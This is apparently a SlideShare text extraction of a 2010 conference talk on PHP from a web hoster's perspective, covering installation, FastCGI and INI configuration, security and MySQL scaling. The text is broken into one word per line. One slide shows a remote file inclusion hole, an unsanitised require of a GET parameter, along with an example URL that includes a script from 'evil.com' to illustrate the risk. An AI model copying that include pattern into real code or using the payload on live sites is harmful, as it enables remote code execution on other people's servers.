SlideShare a Scribd company logo
PHP
through
the
eyes
of
a
hoster




Thijs
Feryn
Support
manager
+32
(0)9
218
79
06
thijs@combellgroup.com

PHP
North
West
Conference
Sunday
October
10th
2010
Manchester
UK
About
me




I’m
the
support
manager
at
Combell
About
me




I’m
a
board
member
at
PHPBenelux
About
me


Modest
contribuTons
to:
I
live
in
the
wonderful
city
of
Bruges
    MPBecker
‐
Bruges
by
Night
hXp://www.flickr.com/photos/galverson2/3715965933
Follow
me
on
TwiXer:
@ThijsFeryn

Rate
my
talk:
hXp://joind.in/2064

Read
my
blog:
hXp://blog.feryn.eu
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
Chapter
I
:
The
hoster,
a
genuine
stakeholder
in
the

PHP
universe
Stakeholders

     Customer                     Development
company

  Endusers     MGMT       Devs       MGMT     Design       PM



  Internal     Internal
     IT          PM       Sales       QA     Systeam    Consultants




                 Hoster       PHP
community
Stakeholders


               Somewhere
along
the
road
...




               Your
app
needs
to
be
hosted
Goals
&
moTves

 Our
goals
&
moTves
are
the
same
as
yours:
 • It
has
to
work
 • It
has
to
perform
 • It
has
to
scale
 • It
has
to
be
secure
 • It
has
to
be
available
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
Chapter
II:
InstallaTon
&
configuraTon
Installing
from
source

server$
./configure
‐‐prefix=/usr/local/php‐5.2.10

‐‐with‐apxs2=/usr/local/httpd‐2.2.12/bin/apxs
‐‐
with‐zlib
‐‐with‐curl
‐‐with‐gd
‐‐enable‐mbstring

‐‐with‐mysql
‐‐with‐mysqli
‐‐enable‐pcntl
‐‐with‐
pdo‐mysql
‐‐with‐readline
‐‐enable‐soap
‐‐with‐xsl

‐‐with‐mcrypt
‐‐with‐mssql
‐‐with‐snmp
‐‐with‐imap

‐‐with‐kerberos
‐‐with‐imap‐ssl
‐‐with‐config‐
file‐path=/etc/php5/
‐‐enable‐sockets
‐‐with‐
freetype‐dir
‐‐with‐openssl


server$
make

server$
make
install
Installing
using
a
package
manager
(APT/ApTtude)

Install
PHP:
 server$
apt‐get
install
php5


Install
MySQL
library
for
PHP:

 server$
apt‐get
install
php5‐mysql
SAPI
...
schmapi

                      Mod_php           FastCGI           CLI


     Web           Apache
module        gateway            ‐


    Process        Apache
process       php‐cgi          php


 ConfiguraTon       Apache
conf
files     wrapper        on
the
fly


                                      shell
user
or

     User            Apache
user                       shell
user
                                      suexec
user
FastCGI

Example
config:
• Apache
handler
   

<IfModule
mod_fcgid.c>
   



SuexecUserGroup
dev
dev
   



PHP_Fix_Pathinfo_Enable
1
   



<Directory
/var/www/dev/www/>
   





Options
+ExecCGI
   





AllowOverride
All
   





AddHandler
fcgid‐script
.php
   





FCGIWrapper
/var/www/dev/etc/fcgi.wrapper
.php
   





Order
allow,deny
   





Allow
from
all
   



</Directory>
   

</IfModule>
FastCGI

Example
config:
• Wrapper
script
   #!/bin/sh
   PHPRC=/usr/local/php‐5.3.1/etc
   export
PHPRC
   export
PHP_FCGI_MAX_REQUESTS=5000
   export
PHP_FCGI_CHILDREN=8
   exec
/usr/local/php‐5.3.1/bin/php‐cgi
INI
seings:
tales
of
good
&
evil
INI
seings:
tales
of
good
&
evil

Defining
INI
seings:
• Php.ini
• Ini_set()
• “‐d”

• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI
seings:
tales
of
good
&
evil

Memory_limit:


  Fatal
error:
Allowed
memory
size
of
16777216

  bytes
exhausted
(tried
to
allocate
35
bytes)
Php through the eyes of a hoster: PHPNW10
INI
seings:
tales
of
good
&
evil

Safe_mode
&
Open_basedir:

<IfModule
mod_php5.c>




php_admin_flag
engine
on




php_admin_flag
safe_mode
off




php_admin_value
open_basedir
"/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>
INI
seings:
tales
of
good
&
evil

Allow_url_fopen:

             <?php
             $lang= $_GET['lang'];
             require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter
III:
Versions
&
features
PHP
4:
End
of
life,
but
far
from
dead
PHP
4:
End
of
life,
but
far
from
dead




 Parse
error:
syntax
error,
unexpected
T_STRING,

 expecting
T_OLD_FUNCTION
or
T_FUNCTION
or
T_VAR

 or
'}'
in
test.php
on
line
4
Developers
love
bling
bling
It
HAS
to
be
PHP
5.3.2
!!!
I
need
ALL
PHP
extension
!!!
I
use
ALL
PHP
features
!!!
Fruit
&
vegetables:
PEAR
&
PECL
Fruit
&
vegetables:
PEAR
&
PECL

PEAR
PHP
Extension
and
ApplicaTon
Repository
(h#p//pear.php.net)

 server$
lynx
‐source
http://pear.php.net/go‐pear
|
php

 server$
pear
install
date
Fruit
&
vegetables:
PEAR
&
PECL

PECL
(pickle)
PHP
Extension
Community
Library
(h#p//pecl.php.net)




       server$
pecl
install
pecl_http
External
frameworks


    Popular
frameworks
outside
the
PHP
project
Chapter
IV:
PHP
aXracts
a
crowd
It’s
easy
!
That
easy
!




              <?php
              echo "Hello world!";
It’s
cheap
!
It’s
stable
!
Everyone
can
be
a
PHP
developer
But
not
everyone
has
what
it
takes
Luckily
there’s
a
lot
ready‐to‐use
PHP
sooware
out
there
Who
you
gonna
call
?
But
when
helpers
need
help
...
They
reach
out
to
the
PHP
community

                                 User
Group
meeTngs




        TwiXer                               Blogs
                                  Forums
                 PHP.net



                 IRC           Conferences
Chapter
V:
Here
be
phpirates
Here
be
phpirates
Fact




 “The
majority
of
hacking/absue
cases
are
PHP
related”
False
assumpTons

                             “Open
source
is
evil”




“PHP
has
lots
of
security
vulnerabiliTes
and
is
not
mature”
Here
be
phpirates



The
real
issues
• Quality
of
the
code
• Network
&
server
security
• PHP
version
&
configuraTon
ResponsibiliTes
Chapter
VI:
Scalability
Performance
==
speed
Scalability
==
constant
speed
under
increasing
load
Scaling
up
Scaling
out
Developers
(some2mes)
forget
...
Scaling
MySQL
mysql>
explain
SELECT
field1,
(SELECT
COUNT(*)
FROM
table2
WHERE
field3
=

table1.id)
FROM
table1
WHERE
field2
=
1

ORDER
BY
field4
DESC
limit

12,12;

***************************
1.
row
***************************











id:
1


select_type:
PRIMARY








table:
table1









type:
ALL
possible_keys:
approved










key:
approved






key_len:
NULL










ref:
NULL









rows:
3143








Extra:
Using
where;
Using
filesort
***************************
2.
row
***************************











id:
2


select_type:
DEPENDENT
SUBQUERY








table:
table2









type:
ALL
possible_keys:
NULL










key:
NULL






key_len:
NULL










ref:
NULL









rows:
1005








Extra:
Using
where
mysql>
show
processlist;
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
Id



|
User
|
Host





|
db
|
Command
|
Time
|
State















|
Info




|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
|
63515
|
root
|
localhost
|
db
|
Query


|



0
|
NULL
















|
show

processlist































|
|
81763
|
root
|
localhost
|
db
|
Sleep


|

105
|





















|
NULL




|
|
85187
|
root
|
localhost
|
db
|
Query


|



0
|
Sending
data








|
SELECT

data
from
someTable
where
field
=
'val'

|
|
82701
|
root
|
localhost
|
db
|
Query


|



0
|
Copying
to
tmp
table
|
SELECT

data
from
someTable
where
field='val2'


|
|
82709
|
root
|
localhost
|
db
|
Query


|



0
|
Sorting
result






|
SELECT

data
from
someTable
where
order
by
field
|
|
82716
|
root
|
localhost
|
db
|
Query


|



0
|
Opening
tables






|
SELECT

data
from
someOtherTable
















|
+‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐+‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+
Scaling
MySQL
with
replicaTon
PHP
scalability
toolbox
Php through the eyes of a hoster: PHPNW10
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters
are
a
genuine
stakeholder
in
the
PHP
universe
2.PHP
is
highly
flexible
&
configurable.
Hosters
have
to
ensure
a
decent

  setup
3.PHP
has
a
lot
to
offer
feature‐wise
4.PHP
aXracts
a
crowd
and
brings
a
lot
of
people
together
from

  different
industries
(e.g.
hosters)
5.Lots
of
abuse
cases
are
PHP
related,
but
that’s
not
the
fault
of
PHP

  itself
6.PHP
itself
doesn’t
scale
*that*
well,
but
is
flexible
enough
to
ensure

  scalability
via
extra
tools
Q&A
Php through the eyes of a hoster: PHPNW10

More Related Content

PDF
Phpbasics
PDF
PHP and Web Services
PDF
Enterprise PHP (php|works 2008)
PPT
Php Presentation
PPTX
PHP 7 Crash Course - php[world] 2015
PDF
Php simple
PPT
Php Ppt
PDF
Last train to php 7
Phpbasics
PHP and Web Services
Enterprise PHP (php|works 2008)
Php Presentation
PHP 7 Crash Course - php[world] 2015
Php simple
Php Ppt
Last train to php 7

What's hot (20)

PPT
01 Php Introduction
PPT
Advantages of Choosing PHP Web Development
PPS
PHP - History, Introduction, Summary, Extensions and Frameworks
PPSX
Advanced PHP Web Development Tools in 2015
PDF
Php Dependency Management with Composer ZendCon 2016
PPTX
PPT
Getting started with Catalyst and extjs
PPTX
PHP programmimg
PDF
Top 100 PHP Questions and Answers
ODP
Practical catalyst
PDF
Zend expressive workshop
PPTX
Dynamic Web Programming
PPTX
Php internal architecture
PDF
Best Practices in PHP Application Deployment
PDF
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
DOC
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
PPT
Overview of PHP and MYSQL
PPTX
XDebug For php debugging
PDF
Php introduction
01 Php Introduction
Advantages of Choosing PHP Web Development
PHP - History, Introduction, Summary, Extensions and Frameworks
Advanced PHP Web Development Tools in 2015
Php Dependency Management with Composer ZendCon 2016
Getting started with Catalyst and extjs
PHP programmimg
Top 100 PHP Questions and Answers
Practical catalyst
Zend expressive workshop
Dynamic Web Programming
Php internal architecture
Best Practices in PHP Application Deployment
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
PHP, PHP Developer, Hire PHP Developer, PHP Web Development, Hire PHP Program...
Overview of PHP and MYSQL
XDebug For php debugging
Php introduction
Ad

Viewers also liked (20)

PPTX
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
PPTX
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
PDF
Deming to Devops
PDF
Continuous Security: 5 Ways DevOps Improves Security
PPSX
ProjectLibre1.5 - Lesson 5 - Reports
PDF
Stop to start
PDF
LISA 2011 Keynote: The DevOps Transformation
PPTX
From Continuous Integration to DevOps - Japan Innovate 2013
PPS
Blend Elearning Real World
PPT
Skimtns by 142
PPT
Carolines Presentaion
PDF
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
PPT
Drinking From The Firehose
PPT
Purdue Research And The Internet
PDF
Liberarci dalle Spine
PPT
Semicolon Cautions
PPT
Conte \"La Castanyera\"
PDF
Get Out Of Your Cube Evo Terra
PPTX
The Tragic Story of Mohenjo-Daro
PPT
Think innovation issue 4 share - scamper
Cessez de presser le citron – gérez la capacité pour atteindre vos résultats
La valeur d’affaires: L’indicateur qui peut changer le succès des projets
Deming to Devops
Continuous Security: 5 Ways DevOps Improves Security
ProjectLibre1.5 - Lesson 5 - Reports
Stop to start
LISA 2011 Keynote: The DevOps Transformation
From Continuous Integration to DevOps - Japan Innovate 2013
Blend Elearning Real World
Skimtns by 142
Carolines Presentaion
Lista Unitária de Ordenação Final Horário nº 29- Grupo de recrutamento de cód...
Drinking From The Firehose
Purdue Research And The Internet
Liberarci dalle Spine
Semicolon Cautions
Conte \"La Castanyera\"
Get Out Of Your Cube Evo Terra
The Tragic Story of Mohenjo-Daro
Think innovation issue 4 share - scamper
Ad

Similar to Php through the eyes of a hoster: PHPNW10 (20)

PDF
Php through the eyes of a hoster phpbnl11
PDF
Php through the eyes of a hoster
PDF
Php through the eyes of a hoster confoo
PDF
Php through the eyes of a hoster pbc10
PPTX
Information on PHP Handlers
PPT
PDF
Secure PHP environment
PPTX
2016 03 15_biological_databases_part4
PDF
PHP, Handle with care
PDF
Apache2 BootCamp : Serving Dynamic Content with CGI
PDF
PDF
How%20to%20install%20PHP%20on%20Linux%20_%20laffers
PDF
How%20to%20install%20PHP%20on%20Linux%20_%20laffers
PDF
A look at FastCgi & Mod_PHP architecture
PDF
Cli the other SAPI confoo11
PDF
Apache and PHP: Why httpd.conf is your new BFF!
PPTX
PHP and FastCGI Performance Optimizations
PPT
Download It
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster
Php through the eyes of a hoster confoo
Php through the eyes of a hoster pbc10
Information on PHP Handlers
Secure PHP environment
2016 03 15_biological_databases_part4
PHP, Handle with care
Apache2 BootCamp : Serving Dynamic Content with CGI
How%20to%20install%20PHP%20on%20Linux%20_%20laffers
How%20to%20install%20PHP%20on%20Linux%20_%20laffers
A look at FastCgi & Mod_PHP architecture
Cli the other SAPI confoo11
Apache and PHP: Why httpd.conf is your new BFF!
PHP and FastCGI Performance Optimizations
Download It

More from Combell NV (20)

PPTX
Play it extra safe! Kies een goede cyberverzekering
PPTX
Hoe gebruik je het resellerplatform als partner van Combell
PPTX
Managed WordPress bij Combell – wat doet dat precies?
PPTX
Back-ups: Hoe ze je kunnen redden van een cyberaanval
PPTX
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
PDF
Hoe gebruik je het resellerplatform als partner van Combell
PPTX
Hoe laat je jouw website scoren in zoekmachines zoals Google
PPTX
Een webshop bouwen in WooCommerce – advanced sessie
PPTX
Hoe start je een webshop met WordPress / WooCommerce
PDF
Keeping the cloud in check cvodmd
PDF
Hybrid cloud wiskyweb2012
PPTX
2012 03-27 developers e-commercedag presentatie5 ssl
PPTX
2012 03-27 developers e-commercedag presentatie2 drupal
PPTX
2012 03-27 developers e-commercedag presentatie1 magento
PPTX
2012 03-27 developers e-commercedag presentatie4 ogone
PDF
10 doe-het-zelf tips om aan e-commerce te doen
PDF
Develop and deploy using Hybrid Cloud Strategies confoo2012
PDF
Hybrid Cloud PHPUK2012
PPTX
2012 02-07 sql denali presentatie microsoft
PDF
11 tips om in de Cloud te raken en er niet uit te vallen
Play it extra safe! Kies een goede cyberverzekering
Hoe gebruik je het resellerplatform als partner van Combell
Managed WordPress bij Combell – wat doet dat precies?
Back-ups: Hoe ze je kunnen redden van een cyberaanval
Cyberaanvallen: Overzicht, gevolgen en beveiligingstips
Hoe gebruik je het resellerplatform als partner van Combell
Hoe laat je jouw website scoren in zoekmachines zoals Google
Een webshop bouwen in WooCommerce – advanced sessie
Hoe start je een webshop met WordPress / WooCommerce
Keeping the cloud in check cvodmd
Hybrid cloud wiskyweb2012
2012 03-27 developers e-commercedag presentatie5 ssl
2012 03-27 developers e-commercedag presentatie2 drupal
2012 03-27 developers e-commercedag presentatie1 magento
2012 03-27 developers e-commercedag presentatie4 ogone
10 doe-het-zelf tips om aan e-commerce te doen
Develop and deploy using Hybrid Cloud Strategies confoo2012
Hybrid Cloud PHPUK2012
2012 02-07 sql denali presentatie microsoft
11 tips om in de Cloud te raken en er niet uit te vallen

Recently uploaded (20)

PPTX
Spectroscopy.pptx food analysis technology
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Encapsulation theory and applications.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Encapsulation_ Review paper, used for researhc scholars
PPTX
A Presentation on Artificial Intelligence
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
sap open course for s4hana steps from ECC to s4
PPTX
Cloud computing and distributed systems.
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
Machine Learning_overview_presentation.pptx
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Approach and Philosophy of On baking technology
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPTX
Programs and apps: productivity, graphics, security and other tools
Spectroscopy.pptx food analysis technology
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Chapter 3 Spatial Domain Image Processing.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
Encapsulation theory and applications.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Encapsulation_ Review paper, used for researhc scholars
A Presentation on Artificial Intelligence
Mobile App Security Testing_ A Comprehensive Guide.pdf
sap open course for s4hana steps from ECC to s4
Cloud computing and distributed systems.
Digital-Transformation-Roadmap-for-Companies.pptx
Machine Learning_overview_presentation.pptx
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Approach and Philosophy of On baking technology
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
MIND Revenue Release Quarter 2 2025 Press Release
Diabetes mellitus diagnosis method based random forest with bat algorithm
Programs and apps: productivity, graphics, security and other tools

Php through the eyes of a hoster: PHPNW10

Editor's Notes